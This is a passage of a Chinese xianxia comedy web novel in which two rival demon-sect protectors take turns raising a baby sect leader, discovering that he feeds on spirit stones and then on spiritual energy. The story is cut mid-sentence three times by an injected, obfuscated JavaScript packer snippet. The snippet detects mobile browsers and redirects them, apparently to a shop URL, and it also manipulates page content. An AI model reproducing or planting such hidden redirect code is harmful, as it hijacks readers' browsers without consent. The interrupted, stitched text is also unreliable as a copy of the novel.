魔宗就是这样,有人族有魔族,还有足足数百个品种的妖族,有时候光靠肉眼很难分辨魔宗弟子们究竟是来自什么种族,所以想知道小宗主的主食是什么,玉渐月只能一个个的试过去。 左炎的行动能力向来很强,接下来的半个时辰,在他的吩咐之下,陆陆续续有各种各样的食材被送了过来。 期间玉渐月不停地拿到小宗主的面前给他尝试,可惜的是菜他不吃,熟肉不吃,生肉不吃,米饭也不吃,常见的几样食物显然都没有获得小宗主的肯定。 试过了最常见的食物,那就只能试试不那么常见的了。 玉渐月接着又试了花蜜,草叶,水果,生鱼,鸡蛋等等,不过这些也都没能让小宗主停下哭声。 接着玉渐月又抱着小宗主到了下一盘食物的面前。 揭开盖子,玉渐月看着盘里的事物,沉默了许久终于问道:“这个也要试吗?” 左炎苦笑着说道:“您吩咐过都试一遍,以防万一,如果小宗主的母亲是鸟族妖兽,那么它从小吃虫子也是有可能的。” 玉渐月难得面露出了勉强的神色,他小心翼翼地抱着小宗主靠近那盘蠕动着的虫子…… 好在小宗主只是伸手捏了一把,就很快别开脸继续哭了。 玉渐月微不可察地松了口气,接着去尝试其他食物。 可他们几乎尝试过的所有能够尝试的食物,都没有任何东西能够引起小宗主的兴趣。 玉渐月无论如何也想不到,在照顾小宗主的第一天,自己就遇到了这样的难题,小宗主的哭声几乎没有停下来过,从起床哭到接近正午,但好在小宗主体质极好,即便是这样,他的精神依然好得惊人,根本没有半点力竭的意思,反倒大有要将整个偏殿都掀翻的气势。 最终就连玉渐月都失去了办法,他决定先换身衣服,将小宗主带去前山的药阁找人询问情况。 玉渐月暂时将小宗主交给左炎抱着,自己则迅速回房间换好了衣服,等他从房间出来时,左炎已经明显被哭声震得表情有些呆滞了。 玉渐月连忙接过小宗主,不过奇怪的是,小宗主在被他抱过来后,却竟然双眸发亮,意外地止住了哭。 这情景让玉渐月有些不解:“小宗主?” 他要去看怀里的婴孩究竟怎么回事,却感觉自己的领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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提到这个,季烬眼睛亮了不少:“你过来看看。” 右飞尘点头,走过来在桌前端正坐下。 接着他就看到季烬微微提气,一手端起了自己手上装满妖兽奶的碗,另一手动作讲究地捏住了勺子。 然后周围的风骤然停顿—— 只见得周围一阵落叶翻滚,右飞尘感觉眼前似乎有什么晃了过去,还没等他意识到发生了什么,他已经感觉肚子微撑,忍不住打了个满是奶味的嗝。 右飞尘瞬间瞪大眼睛,捂嘴看向面前的碗,才发现碗里的奶已经不见了:“右护法!这是!” 季烬坐在桌边,脸上带着必胜的决心:“怎么样,快吗,我可以趁婴儿不备,在他因为饥饿哭出来之前,就先将他灌饱,这样在我的照顾之下,他就连哭的机会都没有了。” 右飞尘:“……” 这还不是季烬这两天训练的全部成果,他接着又捏起法诀,让另一个碗里的妖兽奶化作水团飘了起来,接着一下下往前方的树上击打而去,每一击都精准命中一枚树叶。 季烬:“这是隔空喂奶,即使小宗主饿的时候我因为有事没在他身边,也可以精准帮他喂奶。” 右飞尘眨了眨眼:“等等。” 季烬没有等,他接着再次施展术法,一大桶妖兽奶凝聚起来,竟然直接化作水球,将右飞尘整个包裹了起来,右飞尘在水球里面拼命挣扎:“咕噜,唔唔,咕噜咕噜……” 季烬开口解释道:“我在这水球里设置了溶水术,在里面你可以像在陆地上一样呼吸,怎么样,用这种方法把小宗主包裹起来,他只要呼吸就能够汲取奶水里的能量。” 右飞尘好不容易终于从水球里面钻出来,他扑腾着跪倒在地,喘息起来:“您还是先消停一下吧……” 季烬已经沉浸在研究中,并没有理会他的话。 不过非常可惜,当季烬经过了三天刻苦的练习,带着满满的信心来到偏殿接班的时候,他看到了玉渐月提前留在他书桌上的书信。 “什么叫……小宗主只吃灵石,不喝奶?” 5. 第五章 为了避免和玉渐月碰上面,季烬是特地等到交接的那天早上才到主峰的。 等右飞尘过去确认玉渐月已经离开后,季烬才带着大堆东西走进了偏殿里。 接着他就看到了正乖乖睡在自己房间床榻上的小宗主,以及有人特地留在自己书桌上的一封信。 看到那封书信上面的字,季烬先是冷冷嗤了一声,接着才放下东西,走过去打开展开信纸,仔细读了起来。 原本他只是想看看玉渐月究竟能有什么好叮嘱自己的,但等看过了两行之后,他就忍不住发出了震惊到甚至有些哀切的声音:“什么叫……小宗主只吃灵石,不喝奶?” 右飞尘在旁边满脸不解:“灵石?” 他反应过来后又在心中替小宗主小小庆幸了一下,接着赶紧问道:“左护法还说了什么?” 季烬手紧紧地拽着信纸,看了一会儿后,语气起伏不定地继续说道:“他还在信里面嘲讽我,说我该不会在右峰偷偷练了三天的喂奶……” 说完这句他忍不住狠狠地拍了下桌子。 右飞尘眼皮一跳,赶紧抬手狡辩:“我没有通风报信!” 季烬回过头,神色莫名地看了右飞尘一眼:“我什么时候说你通风报信了?” 右飞尘飞快摇头:“没,没有。” 季烬低头继续咬牙切齿地看信:“玉渐月这家伙还留言挑衅我,说小宗主在他的照顾下,这三天过得很开心,除了第一天饿哭了,后面很少哭,还说小宗主经常对着他笑,在他面前非常乖巧听话!” 右飞尘砸吧砸吧这段文字,忍不住说道:“这算是挑衅吗?” 季烬:“怎么不算挑衅!他肯定以为我没他照顾得好!” 右飞尘尽力在改善左右护法之间的关系了:“我觉得他也许不是这个意思呢……” 季烬立即不满反驳:“你懂什么,你难道比我还了解他吗?” 右飞尘:“啊?” 他听着这话总觉得意思有些奇怪。 不过季烬没有再接着说下去,他的心思都放在玉渐月的挑衅上面了,他很快将信纸揉成团扔到了角落里,接着自己起身走到了小宗主的床榻边上。 刚才季烬弄出的动静并不小,但小宗主的睡眠极好,这种动静也没让他惊醒过来。 季烬盯着这个目前看着比筷子长不了多少的小家伙,越看越觉得惊奇不已。 “这家伙怎么能这么小,眼睛鼻子嘴巴,手脚也都小得可怜,感觉别人一指头都能把他给捏死。” 右飞尘站在旁边满脸复杂。 他觉得普通人欣赏婴儿的睡眠,发出的感叹应该不会是这样的内容,不过他不敢说。 季烬盯着粉雕玉琢的小婴儿感叹了会儿,随即又开始操心起别的事情,他皱眉对右飞尘说道:“你说如果我把灵石磨碎了泡在水里,是不是就和奶差不多了,你说他会喝吗?” 右飞尘:“右护法您就是舍不得自己辛辛苦苦练了三天的技能吧?” 季烬顿时恶狠狠瞥了他一眼。 · 另一边,左峰。 照顾婴孩并不是容易的事情,即便是万事都能处理妥当的玉渐月,在经过三天的折腾之后,回到自己在左峰的房间,也足足睡了一整天才缓过来。 不过恢复精神后的玉渐月也没有闲着,在重新整理好自己,恢复容姿走出房间之后,玉渐月很快叫来了左炎,并吩咐道:“季烬那边怎么样了,他照顾小宗主还照顾得过来吗?有没有派人过来求助?” 左炎摇了摇头:“没有,右护法封锁了主峰,我们的人也不知道里面发生了什么。” 玉渐月思索了会儿道:“你替我偷偷去看看,看那边究竟是什么情况。” 左炎应了下来,不过没忍住多问了一句:“您是担心右护法……” 玉渐月:“谁担心他了,我担心的是小宗主被他给照顾出问题了。” 左炎想说他刚才要问的就是这个意思,不过作为跟随玉渐月最久的人,他还是很识趣的闭上了嘴。 接着他立即转身,遵照吩咐往主峰赶去。 不过主峰现在守卫森严,季烬调派了不少魔宗弟子过来看守,左炎即便实力不凡,在不想惊动旁人的情况下偷偷潜入进去,也稍微耗费了点时间。 可当他好不容易来到偏殿外面,翻墙准备进去的时候,他才发现自己刚翻上墙头,就撞见了本该守在季烬身边的右飞尘。 左炎诧异地看着对方:“你怎么……” 右飞尘赶紧对他挤眉弄眼,做了个噤声的动作,同时表情痛苦地小声飞快说道:“阿炎,对不住了,右护法现在在那边看着我呢,他要我守住这偏殿不让任何人闯入,为了不让他看出我跟你的关系,我只能下手了……” 他说着还没等左炎反应过来,举着扫帚的右手已经高高扬起,并且一瞬朝着左炎的屁股拍了下去。 左炎睁大眼睛不可置信地看着右飞尘,还没等再开口,整个人已经“啪叽”一下摔到了地上。 半个时辰后,左炎满身狼狈,额头上顶着个青红的包回到了玉渐月面前。 玉渐月惊诧地看着左炎,差点没敢认:“你怎么了?” 左炎叹了口气,将主峰的情况说了出来。 “右护法对主峰的防守比我想象中还要森严,最后偏殿还有他的得力下属右飞尘把关,我好几次翻墙被他打退,被泼水,还被他用机关暗算……”说到这里他几乎有点咬牙切齿,但最后还是努力地保持了理智,摇摇头说道:“最后还是没有办法突破那边的防卫,看清里面发生了什么。” 玉渐月看左炎这副模样,当然也知道他没有说谎,连这位他的最强下属都这样了,派其他人去当然也不可能有用。 他于是放弃了探听的想法,摇头说道:“辛苦你了,那就算了,不用再去了,如果真的出了事,季烬那边肯定会自己跑过来求助。” 左炎自然没有多问,点头回去休息了。 就这样,规定中的三天过去后,玉渐月在轮换日带着左炎按时回到了主峰偏殿。 玉渐月到达的时候,季烬似乎也才刚离开没多久,小宗主被放在床榻上,他没有睡着,只是手里捧着颗足足有拳头大小的灵石,正在满足地啃着。 见到玉渐月出现,小宗主脸上明显露出了开心的神色,朝他伸手“咯咯”笑了起来。 玉渐月时隔三天见到小宗主,自然也十分开心,他笑着走过去抱起小宗主,与他低声说了会儿话,这才注意到自己的书桌上面,同样放着季烬留下的信。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513090|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 玉渐月将小宗主暂时交给左炎,这才走到桌旁打开信封看了起来。 和玉渐月之前简短的留言相比,季烬的留言篇幅要长得多,以至于当玉渐月看清那满篇密密麻麻的字时,他都忍不住微扬起了眉梢。 左炎也看到了那写满字的信纸,忍不住问道:“这些是右护法写的?” 玉渐月好笑地说道:“怎么了?” 左炎想了想也不知道该怎么斟酌言语,只能如实说道:“感觉他不像是会写这么多字的人。” 玉渐月忍俊不禁:“你倒是没误会他。” 嘴上虽然说着某人的坏话,但玉渐月还是低头安静看起了信。 不过刚看了第一句话,玉渐月的笑容就消失了。 -玉渐月,这三天里你经常派人过来偷看,想知道我怎么照顾小宗主?担心我会的东西太多自己比不过,想找我偷师是吧? 玉渐月:“……” 饶是他自认已经足够了解季烬,这时候也忍不住觉得这家伙头脑有问题了。 自己为什么要向一个脑袋空空的家伙偷师? 他按下满满的腹诽,继续往下看去。 -你手底下那个左炎都被我赶出去几次了,还没放弃呢,不过看你这么有诚意,我告诉你一些诀窍也行。 -经过我三天的照顾,小宗主已经学会主动进食了,而且我做过了精确的尝试,得出的结论是,小宗主吃的灵石之间也是有区别的,并不是只要用越精纯的灵石对他就越好,以他现在的身体强度,最好给他吃中品灵石。上品他消化不了,下品多少有些污染,对他身体不好。 -还有,每种灵石对他来说口味也不同,他现在最喜欢的应该是火灵石,每顿饭能吃掉五颗,中间可以喂水灵石辅助消化,土灵石和木灵石他都不太爱吃,还有雷灵石,你最好少给,他非常喜欢但是吃过之后会异常亢奋,两天都不会合眼。 -注,千万不要因为好奇灵石的味道而自己去吞灵石。 玉渐月看到这里表情变得十分奇怪。 左炎问道:“左护法,怎么了?” 玉渐月低声说道:“好像有个脑子不好的家伙没事学小宗主生吞了一颗灵石。” 左炎:“……” 后面的内容玉渐月没有再细看了,因为后面全是季烬毫无营养的挑衅,以及对于自己这三天对照顾小宗主的任务完成得有多好的吹捧,对此玉渐月是半个字不信的。 不过他不得不承认的是,当他抱起小宗主认真检查过了一遍之后,他确认小宗主确实没有受任何伤,相反短短三天的时间,他确实像是圆润可爱似乎又长大了一圈。 难道真给那家伙运气好找对了办法? 玉渐月抬手轻轻戳了戳小宗主的脸颊,等小宗主眉眼弯弯开心地笑起来后,他也跟着笑了。 随即他想到什么,抬头对左炎说道:“我们也把这地方封锁起来吧,先检查下房间里有没有窃听的灵器,再把屋里屋外都重新打扫一遍,这两天派人守住外面,然后你巡逻一下偏殿……” 他话还没有说完,左炎已经飞快地主动说道:“我一定守好这里。” 他说着面露微笑,仿佛想到了什么开心的事情,一字一句说道:“必定不会让任何人靠近偏殿。” 6. 第六章 不得不说,玉渐月对季烬的刻板印象并没有错,在左炎的打扫整理之下,他果然从床铺下面,桌子下面,甚至是玉渐月房间的墙缝里面找出了总共十来枚用来窃听的器物。 最后玉渐月当然是将它们全部打包捏碎扔了出去。 并且玉渐月对季烬的行动安排也预料得相当准确,当天下午,左炎就在偏殿的后门围墙处蹲到了正挖洞准备进来的右飞尘。 看到坐在墙头的左炎,右飞尘目露惊喜,正想开口,又突然想起什么,忍不住往四周看了眼。 左炎微笑着看他,笑容十分和煦:“抱歉,我现在在执行左护法的命令,你不能进入这里。” 右飞尘顿时明白了左炎的心思,连忙压低声音解释道:“你听我说,我前两天真的是被迫的,我不是唔唔唔——” 他的话音未落,已经被左炎浇了满脸的土。 就这样还没能挖穿洞口的右飞尘,直接被左炎重新埋进了地里。 不过右飞尘身负着季烬交代的任务,自然没有气馁,很快又改换了其他的方式打算进入偏殿,但毫无意外他的动作全都被左炎给预判到了。 在周旋了七八次之后,右飞尘终于彻底投降,在左炎“抱歉”的目光下被扔出了主峰。 做完这些,左炎终于回到玉渐月面前,开口低声说道:“左护法,麻烦已经被我送走了。” 玉渐月点头笑着道:“辛苦了。” 他说完这话,低头逗弄了一下面前的婴孩,接着又低头忙碌起来。 左炎从进门起就注意到了玉渐月身前的那堆东西,他有些惊讶地看着它们:“左护法,这是您亲手做的?” 玉渐月再次点头:“嗯,照顾小宗主都这么久了,他总不能一直躺在床上,还是要有方便活动的工具比较好,你帮我看看还需要弄点什么,对了……” 说到这里,玉渐月又似乎想到了什么,接着道:“再帮我检查一下偏殿里面有没有缺了少了什么。” · 又是三日过去。 因为防守严密,所以没法探听玉渐月他们情况的季烬,几乎是在交接日天刚蒙蒙亮时就冲到了主峰,拎着包袱在门口大声喊道:“玉渐月你赶紧给我出来,该换我了!” 不过他话才刚喊完没多久,有名主峰看守弟子就走了出来,恭恭敬敬道:“右护法,左护法很早就离开了,您可以直接进去。” 季烬有些意外:“他走得这么早?” 不知道为什么,他总感觉玉渐月的举动有问题,可当他怀着戒备走进偏殿院落,并四处小心查看过之后,他依然没看出问题在哪里。 不过让他一眼注意到的是,这回小宗主竟然不是躺在他房间床榻上的,这个明显又长大了些许的小婴孩,正躺在一个看起来十分精致的摇篮里面,抱着一颗中等火灵石吮吸得十分高兴。 哪来的摇篮?玉渐月弄出来的? 季烬让右飞尘看住大门,自己慢慢走到了书桌旁边。 毫无意外,这次玉渐月也留了书信给他。 季烬打开信封,入眼就看到了里面信纸上密密麻麻的字。 他顿时露出了满意的笑容,抬眸对右飞尘说道:“看到了吧,我早说过这次玉渐月肯定会留不少话的,那家伙看着不声不响,其实根本就……” 他话说到这里,突然盯着手里的信纸停顿了下来。 右飞尘好奇坏了,想凑过来看又怕季烬生气,连忙问道:“左护法写了什么?” 季烬拳头紧了紧,半晌才抬起头,咬牙说道:“他让我赔钱。” 右飞尘:“什么?” 季烬把前面一页写得满满的单子扔给了右飞尘,右飞尘接过来认真看了,才发现那竟然是一页清单,上面写着的是季烬在上次轮换照顾小宗主的过程中弄坏的家具和物件,包括椅子八根,凳子十五根,墙壁损坏二十七处,桌子三张,地板破损五十六处,还有窗户和门等…… 全部加起来共计上等灵石三百七十五枚,要求季烬一次付清,并注意下次不准再在偏殿里练功,弄坏了任何东西自行处理。 右飞尘:“……” 他差点忘了,算账是左护法的强项来着,他们在右峰待习惯了,对各种损坏根本没放在心上过,整个右峰常常破破烂烂,但现在左护法也会在这里居住,情况就不一样了。 右飞尘想了想尝试着问道:“右护法,咱们要赔偿吗?” 季烬冷哼一声:“赔,当然要赔,我又不是什么赖账的人,他要灵石我给他就行了!” 右飞尘也没想到他们家护法能用这么厉害的语气说出这么窝囊的话,不过他还是很快点了点头:“那我去准备灵石。” 季烬却立刻叫住了他:“等等。” 右飞尘不解地转过来,季烬挑眉说道:“赔是要赔的,不过不能便宜了他们,你接下来每天去左峰扔一袋灵石,就往他们池子里扔,让他们自己下去捞。” 听见这话,右飞尘顿时两眼放光,点头道:“我明白了!我这就去!” 季烬:“……” 他看着突然亢奋起来跑出去的右飞尘,忍不住小声嘀咕:“我让他去左峰报复玉渐月,他怎么比我还兴奋?左峰有什么好东西吗?” 不过季烬的心思还是在玉渐月的信上面,除了刚才那张账单,玉渐月还给他留了几句其他的话。 这页纸上的文字就比刚才要简短多了,玉渐月只简单交代了点和小宗主有关的事情,以及最后,他特别叮嘱了一点,说是小宗主现在的食量已经变得非常大了,不过千万不要因为他能吃,就没有限制地继续喂下去,尤其是水灵石。 季烬看得嗤笑起来。 这也需要他玉渐月左护法特地告诉自己? 玉渐月这家伙肯定是试过了,也肯定发生了什么,他以为自己会因为好奇就去做吗,他又不是傻子。 于是当天晚上,季烬陪着小宗主入睡,然而睡到了半夜时分,他就感觉到了明显的不对劲,他的衣服被褥,甚至整个床铺上都被水给濡湿,四周的空气里也全遍布着水汽。 季烬感知到不对后立刻坐起来,等他掐了个响指打开房间里的照明珠子,他才发现整个屋子已经被水淹了快一半了,而这一切始作俑者的小宗主,此刻正坐在摇篮里面,边睁着大眼睛冲季烬笑,边“噗噗”地往外面吐水球。 小宗主看着小小的一只,但吐出来的水球却足足有两个他那么大,噗噗随便吐两下,就已经浇了季烬满身,而看到季烬浑身湿透的样子,小宗主还以为他在陪自己玩,顿时笑得更开心了。 季烬狼狈地抹了把脸上的水,到现在终于知道玉渐月那句警告的意思了。 “玉渐月——!” 季烬将小宗主从已经被水淹没的房间里抱出来,准备找右飞尘弄点热水,先给小家伙泡个热水澡,然而等他叫出来之后,并没有得到回应,他才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513091|203086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来右飞尘已经跑去左峰送灵石了。 · 左峰,玉渐月的院落里。 左炎是被奇怪的灯火照射吸引到池塘边的,而当他来到池边后,他很快见到了正坐在池边石头上的那道可疑身影。 “右飞尘?” 左炎看到对方,因为这几天的对抗,不自觉地捏出了一个法诀。 右飞尘见状连忙弹跳起来,摆手又紧张又不敢大声地左顾右盼说道:“别!阿炎放过我吧,你就别再折腾了!” 左炎冷笑着看他,虽然表情没有缓和,但却也放下了捏着法诀的手。 看他没再有打架的意思,左炎这才松了口气,他连忙赔笑道:“我都说过了,之前我不让你进偏殿,是因为我们右护法交代过我,不准放你进来,我都是被迫那么做的,而且后来你不是也扳回来了吗?” 左炎毫不犹豫地说道:“我也是听左护法吩咐才那么做的。” 右飞尘牵住他的手,左右晃了晃,亲昵地说道:“那我们就说好了,谁也别生气好不好?” 左炎不置可否。 右飞尘连忙拉着他往前走了两步,来到池边:“我这次可是特地来找你道歉的,你看!” 他说着抬手向池塘里指去。 左炎怔了一下,循着他的手指的方向往池水底下看去,随即他就看到在池塘周围那圈烛火暖光的映衬下,池水下方有无数晶莹的五色灵石正熠熠地闪烁着光亮,色彩绚烂地拼凑成了一颗心的形状。池水在夜风中荡漾水波,那颗心似乎也在水中起起伏伏。 霎时看见这幅震撼画面,左炎怔了好久才抬起头,向右飞尘问道:“是你弄的?” 右飞尘点点头:“为了摆出这个,我在这里折腾好久了,怎么样漂亮吗?” 左炎这时候也很难说出假话,他点了点头,低声道:“自然是漂亮,不过这么多灵石,你是上哪弄来的?” 右飞尘“嘿嘿”笑了两声。 接着他松开左炎的手,小心翼翼地后退两步,这才继续说道:“我们右护法不是弄坏了偏殿不少东西吗,其实这些就是他让我送来的赔偿金,反正我是先送到这里了,接下来要怎么处置,就……你们自己捞上来吧!” 他说完最后一句话,顿时飞快转身,身形倏地翻过围墙不见了踪影。 左炎:“……” 他眨了眨眼,后知后觉反应过来自己是又被对方给耍了:“右、飞、尘!” 他正要去追,然而就在这时候,一道脚步声从身后靠近,接着是玉渐月的声音传了过来:“刚才是右飞尘来了?他来干什么的,你们是在说话吗?” 左炎身形骤然僵硬。 此刻他脑子里一片空白,只有一个念头,那就是绝不能让左护法知道他和右飞尘的关系。 然而水底明晃晃的那颗心却让他感觉眼睛被晃得生疼。 他试图转移玉渐月的注意力,可还没等他转身说些什么,玉渐月已经从回廊那头走了过来,视线转向了池塘的水底。 看清那颗璀璨爱心的玉渐月顿时停顿了视线,他有些狐疑地盯了片刻,抬头问道:“这是什么?右飞尘做的?” 左炎:“……” 他心里面此时已经将右飞尘给骂上天了,不过在玉渐月的面前,他却不敢多说什么,沉默许久之后,他才终于憋出句话来:“嗯,是他做的……” “他说是右护法让他这么做的。” 7. 第七章 玉渐月站在池边,低着头眼睫微微颤动,轻声重复了一遍:“右护法?季烬?” 左炎也觉得自己说的谎太容易被拆穿,但都到了这个地步,他也已经没有办法换种说法了,他只能硬着头皮点头:“嗯,就是右护法……” 玉渐月唇角上扬,眼睛里倒映着灵石投射出的绮丽色彩。 在这瞬间,左炎甚至都要以为他对这片景色有几分喜欢。 不过很快他就发现这一切都是自己的错觉,因为玉渐月迅速收起了笑容,指着面前的水池认真叮嘱道:“找人来认真检查池子里面有没有下毒,等确定没什么问题,再把灵石捞上来。” 左炎难得有些没回过神:“嗯?” 玉渐月表情没有半点感动,有的只是对某个惯犯的提防:“季烬肯定憋着坏,我怎么可能上他的当。” 左炎连忙整肃神色:“左护法说得对。” 不管怎么样,总算是把这件事情糊弄过去了,左炎连忙转身叫人,开始检查水质并捞灵石。 · 与此同时,主峰偏殿里的季烬仍然不清楚自己已经被贴上了怎样的标签,此刻他正在偏殿院落里艰难地治着水。 他表情痛苦,抱着还在不断往外吐水球的小宗主,总感觉对方继自己的卧室之后,很可能要把整个偏殿都给淹没。 早知道就不听玉渐月的,喂他这么多水灵石了。 果然还是得怪到玉渐月头上。 季烬咬咬牙,放弃了去找右飞尘,准备自己想办法。 总之先把这个“泉眼”控制住再说,季烬先带着小宗主飞上了房顶,屋顶上面现在还没有被水泡波及,他抱着小婴儿的双肩,小声商量道:“小祖宗先别吐了行不行,要不然我再给你吃点别的,吃火灵石怎么样?” 他脑子一转,觉得这应该是个可行的办法。 如果说小宗主是因为吃多了水灵石才吐水,那用火灵石相生相克,是不是就好了? 不过他摸了摸自己的衣兜,才发现自己刚才出来得匆忙,根本没有带上乾坤袋,自己满满一袋子的灵石都还在下面房间里,现在估计被水淹没不知道冲到哪里去了。 季烬无奈,只能捏起法诀准备用控水术隔空查找。 随着他心念微动,他并起的指尖慢慢泛起蓝色光芒,灵气已经瞬间聚集,不过还没等他施展术法,被他抱在怀里的小宗主就仿佛嗅到了什么美味的东西,突然扑上前一口咬住了季烬的手指。 当然小宗主现在是没有牙齿的,它的动作也不过是让季烬被沾了满指头的口水而已。 季烬被他的举动弄得满头雾水,好不容易把它拔起来,才发现自己指尖刚才凝出来的灵气已经不见了。 是消散了? 还是说? 季烬突然脑袋里一下子晃过了某个念头,他连忙伸手在小宗主的面前晃了两下,问道:“你会吃这个玩意儿?你吃的其实不是灵石,而是灵石里面的灵气?” 小宗主压根听不懂季烬在说什么,只是睁着圆溜溜的眼睛,歪着头打量他。 季烬干脆也没再问下去,他决定直接动手尝试,他再次凝起法诀,只是这次用的不是水系法术,而是火系法术。 随着他的动作,赤红的光芒自他指尖处凝聚而成,而他刻意将手指递到小宗主的面前,就见小宗主那双大眼镜再次明亮起来,“嗷呜”一口就又吞下了季烬指尖的灵力。 季烬这次凝聚的灵力不少,小宗主吃下之后明显有些撑了,还跟着打了个带着焦味的嗝。 果然如此! 季烬为自己的发现而高兴起来。 小宗主的食物不是灵石而是灵气,既然是这样的话,那他们毫无疑问可以省下不少灵石,而与此同时,他又产生了更多新的想法。 接下来的两天,季烬开始为自己的想法而行动起来。 · 时间飞快,又到了交接轮换的时候。 玉渐月这次来到主峰的时间稍微晚了点。 走在前往主峰的路上,玉渐月忍不住开口询问道:“这三天应该没出什么事吧?” 左炎犹豫着说道:“倒是没有出什么大事,不过很奇怪的是,有巡逻弟子说,这三天偏殿里经常亮起奇怪的光束,像是有人在里面使用术法,但却好像没有造成什么太大动静。” 玉渐月不觉得季烬是个容易安分的人,他摇了摇头蹙眉说道:“先进去看看再说。” 说话间他们已经到了偏殿的大门前。 进门之后,玉渐月先是瞥了眼偏殿的院落,等看清楚院落里那些泡水的痕迹,以及到处散落的破损器物,他顿时好气又好笑,对身后的左炎说道:“可以开始记账了,看看这次那位右护法又搞出了多少损失。” 左炎对这件事已经轻车熟路,立即应下并拿出了记账簿。 玉渐月接着往自己的房间走去,通常他们交接的时候,对方会将小宗主先送到彼此的房间里,玉渐月原本以为这次也应该如此,但意外的是,当他正要推门进入房间的时候,他发现那房门,竟然自己从里面被推开了。 谁在里面? 玉渐月顿时敛眉戒备起来,不过随着那扇门从里面被打开,一个东西却慢悠悠地从里面飘了出来。 那东西十分熟悉,木质纹路,漂亮的雕花,还有十分精致的刀工…… 那是上次照顾小宗主的时候,玉渐月亲手给他雕刻的摇篮。 然而此时此刻,原本玉渐月十分熟悉的摇篮上面,却多了许多铭刻着的法纹,那些纹路明显排列相当精密,除非是对阵法相当了解,否则不可能会弄出这种东西。 玉渐月瞬间看出了那是谁的手笔:“季烬?” 很明显他们魔宗右护法在摇篮上面耗费了不少精力,而他在摇篮上面刻画法纹的结果就是,此刻这摇篮已经离开地面,自行飘在了空中,而且不光如此,季烬大概是担心小宗主从摇篮里摔下来,所以还特地在里面添加了个固定法术,让这摇篮不管怎么移动,小宗主都能安然地待在里面。 于是现在,这位小宗主就正坐在摇篮里面,高高兴兴地在空中飘着,围着玉渐月亲昵地转圈。 玉渐月:“……” 他实在没有办法理解季烬的脑子里在想什么,为什么要把摇篮变成小宗主的坐骑,而他一个小婴儿又为什么需要这种东西。 想不明白就去看看到底是怎么回事,玉渐月扶着飘在空中的摇篮,把小宗主带回房间,等把小孩固定好之后,他才终于拿起了季烬留在自己桌上的书信。 拆开书信,毫不意外季烬在里面又留了不少文字。 -玉渐月你果然不如我,你知道小宗主为什么吃灵石吗? -本来以你的能耐肯定要很久才能弄明白,不过没关系,我比较好心直接告诉你吧,他吃的根本不是灵石,而是灵石里面的灵力,他是以灵力为食的,所以根本不需要去找灵石那么麻烦,你只需要对他施展术法就够了。 -对了,你给小宗主做的摇篮,我给你稍微改装了一下,现在好用多了。 -在我的精心照顾下,小宗主会的东西也比以前多了,和你不同,我的照顾是真材实料的,不信你可以对着窗外用一次火焰术试试。 到这里信的内容就结束了,玉渐月却看着窗口,略微有些犹豫。 季烬最后这句到底是什么意思? 他稍微思索了片刻,并没有看出这句话的陷阱在哪,仅仅是火焰术的话,应该还不会造成什么影响。 虽然对季烬毫无信赖可言,但玉渐月还是捏着法诀,朝着窗外迅速投射出了一枚火球。 而奇怪的事情就在这瞬间发生了,正当玉渐月的火球飞射而出的同时,他看到有什么东西忽地从他身边冲出,以极快的速度划出一道残影,直直地冲到了他刚才那枚火球降落的位置。 那是——小宗主! 小宗主竟然将自己发射出去,同时在火球落地的瞬间接住了它,并一口将其吞进了肚子里。 玉渐月见到这幕,顿时犹如被天雷砸中,整个表情都变得怪异起来。 他飞快地冲出房间,去查看起院落中央的小宗主的情况,但小宗主浑身上下连半点焦黑都没有,俨然是将那团火球整个吞进了肚子,半点没有浪费。 小宗主甚至也不理解玉渐月紧张查看是为了什么,他只是坐在摇篮里面弯着眼睛咯咯轻笑,仿佛觉得刚才的游戏十分有趣。 玉渐月这下终于知道这三天季烬在干什么了。 他竟然把小宗主养成 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既然小宗主爱吃灵气,而他又需要修炼,那就正好让小宗主来接住他修炼时释放出的灵气,就这样季烬和小宗主一个施法一个吃,两者可以说是达到了修炼的完美平衡。 既不造成破坏,又达到了修炼的作用,甚至还喂饱了小宗主。 不止如此,还让小宗主得到了锻炼,简直是一举数得。 直到完成交接回到自己在右峰的小院里,季烬仍然在为自己的机智而感到得意。 他甚至已经能够想象,玉渐月在看到小宗主的进步之后,会是多么震惊的表情。 在小院里待了一会儿之后,季烬就忍不住叫来了右飞尘:“怎么样,玉渐月那家伙看过我的信了没?” 右飞尘刚从外面回来,听见他的话立刻说道:“今天左护法来得晚了点,所以我离开的时候他们刚进偏殿没多久,左炎看得很严我没法进去,所以只能在外面看,不过我离开主峰的时候,好像听见了施展术法的声音。” 听他这么说,季烬总算是满意了。 他笑了笑对右飞尘摆手:“这几天你也辛苦了,先去休息吧。” 说着他也转身回到了自己的房间里,因为这段时间要轮流照顾小宗主的关系,他的房间里已经有不少东西被搬到了偏殿里面,季烬稍微有些不习惯,但也没太在意。 进屋后他整理了一下东西,就准备要去翻看几本书籍,调查和小宗主的身世有关的事情,但当他整理到最后时,他却在将手伸向另一边袖口时,突然发现了什么,于是飞快变了脸色。 他几步走出房间,朝还没来得及走出小院的右飞尘问道:“等等,你有没有看到我的匕首?” 右飞尘怔了一下:“匕首?” 